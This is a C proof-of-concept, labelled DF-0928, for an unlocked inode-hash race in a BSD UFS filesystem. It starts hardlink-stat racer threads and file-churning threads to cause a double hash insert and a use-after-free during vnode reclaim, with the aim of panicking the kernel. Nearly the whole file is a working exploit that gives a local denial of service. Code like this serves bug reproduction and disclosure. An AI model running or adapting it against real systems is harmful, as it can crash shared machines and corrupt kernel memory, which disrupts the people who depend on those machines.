DF-0928 / race_ufs_ihash2.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 | /* * race_ufs_ihash2.c - DF-0928 PoC (aggressive): trigger the unlocked UFS * inode-hash race by combining concurrent lookups with vnode-recycling * workload on a UFS (FFS) mount. * * Two race modes are exercised simultaneously: * * (A) DUAL-INSERT: N threads race stat()/open() of the SAME inode via * different hardlink paths (different parent dirs โ no dir-lock * serialization). All threads miss ufs_ihashget and race into * ufs_ihashins. On INVARIANTS, the orphan trips KKASSERT(ip==iq) * at ufs_ihash.c:184 on reclaim. * * (B) WALKER-UAF: a creator/deleter thread churns files on the mount, * forcing continuous vnode reclaim (ufs_reclaim โ ufs_ihashrem โ * kfree). Concurrent ufs_ihashget/lookup walkers reading the same * hash bucket dereference a freed/poisoned inode โ panic. * * Setup (root, one-time): kern.maxvnodes set low, UFS mount with small hash. * * Build: cc -O2 -pthread -o race_ufs_ihash2 race_ufs_ihash2.c * Run: ./race_ufs_ihash2 /mnt/ufs_test */ #define _GNU_SOURCE #include <pthread.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/stat.h> #include <sys/resource.h> #include <errno.h> #include <time.h> static const char *BASE = "/mnt/ufs_test"; static int NRACERS = 12; static int NCHURNERS = 4; static volatile int stop = 0; static pthread_barrier_t bar; /* Path array for hardlink racers (NRACERS different paths โ same inode). */ static char hl_paths[64][256]; /* Racer: stat() a hardlink in a tight loop. */ static void * racer(void *a) { int idx = (int)(long)a; struct stat st; pthread_barrier_wait(&bar); while (!stop) { for (int i = 0; i < 200; i++) { if (stat(hl_paths[idx], &st) == 0) { /* touch it briefly */ } } } return NULL; } /* Churner: create+delete files on the mount to force vnode recycling. * This drives ufs_reclaim โ ufs_ihashrem โ kfree concurrently with racers' * hash walks. */ static void * churner(void *a) { long id = (long)a; char p[256]; pthread_barrier_wait(&bar); while (!stop) { for (int i = 0; i < 50; i++) { snprintf(p, sizeof p, "%s/.churn_%ld_%d", BASE, id, i); int x = open(p, O_CREAT | O_RDWR, 0600); if (x >= 0) { /* write something to dirty the inode */ write(x, "x", 1); close(x); } unlink(p); } } return NULL; } int main(int argc, char **argv) { if (argc > 1) BASE = argv[1]; int duration = argc > 2 ? atoi(argv[2]) : 120; /* seconds */ struct rlimit rl; rl.rlim_cur = rl.rlim_max = 8192; setrlimit(RLIMIT_NOFILE, &rl); /* Create target file + hardlinks in separate dirs. */ char t[256]; snprintf(t, sizeof t, "%s/TARGET", BASE); unlink(t); int fd = open(t, O_CREAT | O_EXCL | O_WRONLY, 0600); if (fd < 0) { perror("creat TARGET"); return 2; } write(fd, "target", 6); close(fd); for (int d = 0; d < NRACERS; d++) { char dir[256]; snprintf(dir, sizeof dir, "%s/d%d", BASE, d); mkdir(dir, 0700); snprintf(hl_paths[d], sizeof hl_paths[0], "%s/d%d/hl", BASE, d); unlink(hl_paths[d]); if (link(t, hl_paths[d]) != 0) { perror("link"); return 2; } } printf("DF-0928: %d racers + %d churners on UFS %s, %ds\n", NRACERS, NCHURNERS, BASE, duration); fflush(stdout); time_t end = time(NULL) + duration; pthread_barrier_init(&bar, NULL, NRACERS + NCHURNERS); pthread_t th[128]; int nth = 0; for (int i = 0; i < NRACERS; i++) pthread_create(&th[nth++], NULL, racer, (void *)(long)i); for (long i = 0; i < NCHURNERS; i++) pthread_create(&th[nth++], NULL, churner, (void *)i); while (time(NULL) < end) sleep(5), printf(" still running... %lds left\n", (long)(end - time(NULL))), fflush(stdout); stop = 1; for (int i = 0; i < nth; i++) pthread_join(th[i], NULL); /* Cleanup */ for (int d = 0; d < NRACERS; d++) { unlink(hl_paths[d]); char dir[256]; snprintf(dir, sizeof dir, "%s/d%d", BASE, d); rmdir(dir); } unlink(t); printf("DF-0928: completed without panic.\n"); return 0; } |